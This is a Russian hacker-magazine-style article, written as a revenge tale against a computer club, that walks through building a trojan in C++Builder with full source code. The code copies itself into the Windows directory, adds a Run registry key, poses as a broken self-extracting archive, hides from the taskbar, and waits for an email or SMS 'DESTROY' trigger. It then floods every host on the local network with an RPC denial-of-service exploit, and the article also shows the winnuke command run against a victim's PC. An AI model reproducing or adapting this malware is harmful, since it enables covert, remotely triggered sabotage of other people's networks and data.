В который раз я ухожу из клуба просто в истерике. Эти тупые админы не могут мне даже болванку записать... да как они смели просить денег за то, что я пересидел в нете на 74 часа больше, чем оплатил... за такой коннект вообще денег брать нельзя. Они пожалеют об этом... скоро ВЕСЬ мир пожалеет об этом! 🙂
Протест трудящихся
Очень жаль, но вовремя посещения некоторых компьютерных клубов в голове сразу оживают воспоминания о технике приготовления самых
злостных западлянок. Я ненавижу их! Почему я беру тачку на пол часа чтобы поседеть в нете, а благодаря коннекту все, что успевает загрузится - это название страницы? Такие расклады не могут очень
радовать наш возбужденный мозг, и в который раз пристально смотря на уже забавную надпись "сервер не найден", рождается зверский план...
Надо им отомстить! Нет, это не очередная безумная идея, это вполне серьезно... Админы - уроды, тачки - чмо, будем закрывать это заведение!
План нападения
Для начала необходимо решить, чем именно мы займемся. Удаление винды, игрушек, софта, а также засорение винчестера отменяются. Для осуществления такого, много ума не надо.
Про отключении грызуна/клавы/пуска, а также другой
нечисти написано много материалов, просто почитай старые выпуски твоего любимого Хакера! Поскольку мы разозлились не на шутку, то и действовать
придется серьезно. Ну и что, что ты запорол в клубе один комп... Его
починят за пол часа, а может и за десять минут
(при попутном ветре). Нужно действовать более глобально, так чтобы они не поняли, что произошло! Нужно привести в
нерабочее состояние всё в локалке, чтобы не работал ни один клиентский комп.
Я не говорю о вирусах, это очень долго и ненадежно,
в общем практически нет шансов. А устанавливать
какую-то гадость на каждый комп может быть очень проблематичным занятием, без времени/денег/прав админа. Как убить весь клуб, просидев за тачкой всего несколько минут? Невозможно... Хе-хе, нет ничего невозможного.
Вспомни, что за ось стоит в не родимом клубе? А в любимом клубе твоего друга Васи? Скорее всего это будет винда. Нееет, это 100% будет винда и судя по всему Windows ХР. Значит, будем копать под нее.
В поисках счастья
Давайте подумаем логически, если в клубе на всех клиентах стоит Windows ХР, то нужно найти инфу о том, как ее вырубить по сетке. Это очень удобно, сесть за 17-й комп и послать всем остальным тачкам в сетке сигнал
"Выключится". Поскольку в документации такой функции нет :), будем искать
что-то похожее в BUGTRAQ, удаленные атаки - рулят!
Искать мне пришлось не долго, и я быстро нашел
счастье под названием "kernel_winnt_rpcnuke". Это аккуратный архив, содержащий
программу для DoS атаки на Windows
системы и ее исходник. Немедленная проверка, распаковываю, запускаю. Для жертвы я выбрал 36 комп в сетке:
winnuke.exe 192.168.1.36 135
Да, работает... Особенно обрадовался этому
какой-то чел, сидящий за 36-й тачкой, он писал курсовую уже 2 часа и не сохранялся. Скандал, крики, моя тонкая психика не выдержала страдания этого человека, а также админа,
размазанного им по стенке, и я ушел пить пиво 🙂
Взглянув на исходник, я решил взять его за основу своего коварного плана (он немного урезан в целях экономии места):
001. Накормить кошку.
...
124. Написать программу, которая постоянно делала бы DoS атаку на все тачки.
125. Запустить ее на компьютере админа.
...
659. Смыть с топора кровь.
Вот... Наша программа тогда должна уметь делать следующее:
- записатся в автозагрузку и скопироваться
на винт - стартовать по сигналу (некрасиво, когда админ запустил прогу с твоего сидюка, а весь зал моментально вырубился :))
- посылать пакеты приводящие к DoS
- посылать их на все компы в сетке
- всем, кроме себя! (подумают, что "злой вирус" не успел заразить админа)
Ну, вроде с функциями определились. Теперь осталось, только воплотить их в реальность. Для этого возьмем
CBuilder и приступим к написанию.
С++
На мой взгляд, получится очень удобно, если мы напишем все в виде модуля, который с легкостью можно будет подключить к любому уже существующему
проекту. Итак, в меню File->New...->Header File. Сохраняем его под именем smile.h и приступаем к написанию кода. Для роботы нам необходимо подключить несколько модулей:
#include <registry.hpp> //Для работы с реестром
#include <stdlib.h> //Для работы со строками
#include "settings.h" //Наш модуль с некоторыми настройками
Модуль settings.h хранит основные настройки, а также некоторые константы, необходимые нам для работы. Сюда входят настройки для подключения и проверки почты, настройки для автозагрузки и собственно, наборы байт, которые посылаются на целевой компьютер.
Обратите внимание на переменную MS_FROM. Если вы хотите, чтобы атака начиналась после прихода письма с почты, то укажите ее адресс. Но если нужно, чтобы все сработало после SMS, то укажите адрес отправителя в форме "ваш_номер@sms.оператор". Поскольку я использовал в роли оператора
UMC, то адрес вышел "мой_номер@sms.umc.com.ua". Узнать точный формат можно отправив SMS на определенный номер оператора (для UMC он 101). Текст сообщения должен начинаться с имени вашего почтового ящика, после него пробел и собственно само сообщение. Более точную информацию ищите на web-странице вашего оператора.
Для удобного использования модуля создадим класс, в котором и реализуем все необходимое. По исторически сложившимся обстоятельствам назовем его TSmile:
class TSmile{
public:
//Функция для настройки почты
BOOL SetMailSettings(TNMPOP3* POP,
AnsiString strLogin,
AnsiString strPassword,
AnsiString strHost,
int intPort);
BOOL CheckMail(void); //проверка почты
BOOL doAction(void); //уничтожение клуба
TSmile(); //конструктор
private:
int MailCounter; //какое письмо мы проверяем
int MailStatus; //состояние подключения
char ThisIP[15]; //наш IP
char NetworkMask[15];//IP без последней цифры
int Action; //сигнал для начала DoS атаки
protected:
BOOL ReadMessage (void); //читать письмо
BOOL CheckMessage(void); //проверить письмо
BOOL Register(void); //прописаться на компе
BOOL GetNetwork(void); //узнать IP
TNMPOP3* POP3; //для работы с почтой
};
//Функция для отправки пакетов:
unsigned long WINAPI SendData(void *targetip);
Для начала опишем конструктор. Он запускается самым первым и исполняет 3 действия: инициализирует некоторые переменные, прописывает нас в автозагрузку, а также узнает наш IP в сети.
TSmile::TSmile()
{
MailStatus = MS_NONE;
MailCounter = 0;
Action = 0;
Register();
GetNetwork();
}
Процесс регистрации, не представляет собой особой сложности. Он состоит из нескольких этапов. Копирование себя в директорию с
установленным Wіndows (используется функция GetWindowsDirectory) под именем хранящимся в константе REG_FILENAME из модуля settings.h.
TSmile::Register(void)
{
char chDirectory[255];
GetWindowsDirectory(chDirectory,255);
AnsiString strFileName;
strFileName=chDirectory;
strFileName+="\\";
strFileName+=REG_FILENAME;
CopyFile(Application->ExeName.c_str(),strFileName.c_str(),TRUE);
После чего, программа прописывается в автозагрузку из реестра Wіndows(раздел
HKEY_CURRENT_USER\Software\ Microsoft\ Windows\CurrentVersion\ Run). Но тут возникает одно дополнительное условие, перед добавлением в автозагрузку программа проверяет, не была ли она прописана там ранее.
TRegistry *Registry = new TRegistry;
Registry->RootKey = HKEY_CURRENT_USER;
if (Registry->OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", true))
{
AnsiString strRegister;
strRegister=Registry->ReadString(REG_APPNAME);
if(strRegister=="")ShowMessage(REG_ERROR);
Registry->WriteString(REG_APPNAME,REG_FILENAME);
Registry->CloseKey();
}
delete Registry;
return True;
}
Если нет, значит ее запустили в первый раз и она выводит сообщение о ошибке. Сообщение вы можете выбрать самостоятельно, изменив константу REG_ERROR. Поскольку я решил замаскировать программу под
самораспаковывающийся архив, в качестве сообщения я выбрал "Ошибка при
распаковке: неизвестный формат" и дал проекту
соответствующую иконку.
После регистрации в системе программа сразу узнает свой IP, и соответственно формирует "общий"
IP (без последней цифры). Благо о том, как узнать свой IP, в нете инфы хватает. В данном случае в основу положена функция, используемая в BO2K.
В завершении ее работы мы имеем в переменной ThisIP свой IP, а в NetworkMask - "общий".
Следующим действием должна быть проверка почты. Поскольку
программный код обращения к почте с помощью сокетов достаточно велик, воспользуемся компонентой TNMPOP3 из закладки FastNet. Но раз мы пишем модуль, то не можем в нем создать
объект NMPOP3, его можно создать только на форме! Поэтому необходимо на форме
проекта создать компонент NMPOP3 и указать его имя в качестве первого параметра функции SetMailSettings(). Таким образом наш модуль получит доступ к компоненте NMPOP3. Остальные параметры - это логин, пароль, адрес РОР3 сервера вашей почты и порт для подключения.
TSmile::SetMailSettings(TNMPOP3* POP,
AnsiString strLogin,
AnsiString strPassword,
AnsiString strHost,
int intPort)
{
POP3=POP;
POP3->UserID = strLogin;
POP3->Password = strPassword;
POP3->Host = strHost;
POP3->Port = intPort;
MailStatus = MS_OK;
return TRUE;
}
Все настройки можно указать и на прямую в Object Inspector, просто если мы делаем универсальный модуль, то нужно свести его использование к простейшему варианту. Далее опишем последнюю публичную функцию CheckMail():
TSmile::CheckMail()
{
//если подключение к POP3 не настроено - выходим
if(MailStatus==MS_NONE)return False;
//подключаемся к POP3
POP3->Connect();
//входим в цыкл...
do
{
//если произошла ошибка - переподключаемся
if(MailStatus==MS_ERROR)
{
POP3->Connect();
MailStatus=MS_OK;
}
//пока не прочитаем письмо
}while(!ReadMessage());
//прочитали...
//и опять в цыкл...
do
{
CheckMessage();//проверяем прочитанное
ReadMessage(); //читаем следующее
//если произошла ошибка - выходим 🙁
if(MailStatus==MS_ERROR)return False;
//пока действие не равно ACTION_DESTROY
}while(!(Action==ACTION_DESTROY));
//а если равно, то клубу хана 🙂
return True;
}
Сценарий предельно прост. Но в нем присутствуют
две неописанные ранее функции ReadMessage() и CheckMessage(). Первая читает письма:
TSmile::ReadMessage(void)
{
//если не подключены, то нефиг читать
if(!POP3->Connected)
{
MailStatus = MS_ERROR;
return False;
}
//мы проверяем последние MS_MAILCOUNTER писем:
//если читаемое письмо по номеру...
if(MailCounter<MS_MAILCOUNTER) // меньше MS_MAILCOUNTER
{
POP3->GetMailMessage(POP3->MailCount-MailCounter);//читаем
MailCounter++; //дальше будем читать следующее по списку
}else // а если оно больше чем MS_MAILCOUNTER
{
MailCounter=0; //будем начинать заново
MailStatus=MS_ERROR; //отключимся, а вдруг пришли новые письма
while(POP3->Connected)POP3->Disconnect();;
}
//все 🙂
return True;
}
А вторая проверяет не содержат ли они строку
MS_COMMAND (в данном случае это "DESTROY")
и вообще, от нас ли это письмо:
TSmile::CheckMessage(void)
{
if(!POP3->MailMessage)return False;
if((POP3->MailMessage->From==MS_FROM)&&
(POP3->MailMessage->Body->Text.SubString(1,strlen(MS_COMMAND))==MS_COMMAND))
Action=ACTION_DESTROY;
return True;
}
Если все ОК, об этом мы узнаем из результатов функции CheckMail(), то начинаем атаку:
TSmile::doAction(void)
{
if(!(Action==ACTION_DESTROY))return False;
char LastIPNum[255];
char CurrentIP[255];
char addr[254][15];
DWORD dwThreadId, dwThrdParam;
HANDLE hThread;
//начинаем цикл..
do{
//для всех компьютеров в сети
for(int i=1;i<255;i++)
{
Application->ProcessMessages();//чтобы не зависнуть
strcpy(CurrentIP,NetworkMask);
itoa(i,LastIPNum,10);
strcat(CurrentIP,LastIPNum);
strcpy(addr[i],CurrentIP);
//это чтобы не послать самому себе:
if(strcmp(ThisIP,CurrentIP)){
//посылаем:
hThread=CreateThread(NULL,0,SendData,addr[i],0,&dwThreadId);
}
}
//который не закончится 🙂
}while(1);
return True;
}
Мы себе не посылаем пакеты, поскольку если мы будем
перезагружаться, то не сможем атаковать остальные компьютеры. Но если
кто-то хочет, то может убрать эту проверку. А чтобы атака была более агрессивной,
пакеты не посылаются всем компьютерам по очереди... Открывается 255 потоков, которые одновременно посылают, посылают, посылают 🙂
А посылают они с помощью функции SendData. Она представляет собой копию "kernel_winnt_rpcnuke", несколько измененную для данной программы:
Все, smile.h готов! Теперь быстренько сохраняйтесь и создавайте новый
проект. Кидайте на форму NMPOP3 из FastNet. Нажмите Control+F12 и выберите со списка Unit1. В открывшемся окне, после строчки:
#include "Unit1.h"
добавьте еще одну:
#include "smile.h"
Таким образом мы объявили, что будем в этой программе использовать smile.h. А в конструктор TForm1::TForm, который
объявлен как:
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
добавляем следующее:
TSmile *Smile = new TSmile();
Smile->SetMailSettings(NMPOP31,"login","password","pop.server.ru",110);
do
{
if(Smile->CheckMail())Smile->doAction();
}
while(1);
Теперь если на вашу почту придет нужное письмо, в клубе начнется армагедон!
И напоследок несколько подсказок:
- чтобы использовать smile.h, скопируйте его в одну папку с
проектом. - использование SetMailSettings (имя экземпляра NMPOP3 на форме, логин почты, пароль, РОР3 сервер ищите на сайте используемой почты, порт для подключения)
- чтобы сделать программу невидимой в таскбаре нажмите Control+F12 и выберите
в списке Project1. В открывшемся окне, перед строчкой:Application->Run();
добавьте еще одну:
Application->ShowMainForm=False;
В конце концов компилируем все это и бежим с дискеткой/
болванкой/ флэшкой в клуб. А не могли бы вы мне распечатать документ? Он там, в самораспаковывающемся архиве... ой, не работает? Ну
извините...
А на следующий день с криком: "О великий мегатрон,
приими в жертву этот клуб!", отсылаешь SMS и бежишь проверять следы своего творчества!
Абнормал программ терминейшн
Хочу вас предупредить, что не стоит приносить вред хорошим клубам. Да, да, вы не ослышались, именно хорошим. Интересный феномен, но и такие
наблюдаются... За ними нужно постоянно ухаживать, а особенно за админами. В доказательство того, что ты осознал всю эту хрень, принеси любимому админу бутылку пива и вышли на мой
счет 100$ 🙂
Все исходники ТУТ.
Да придет к тебе коннект!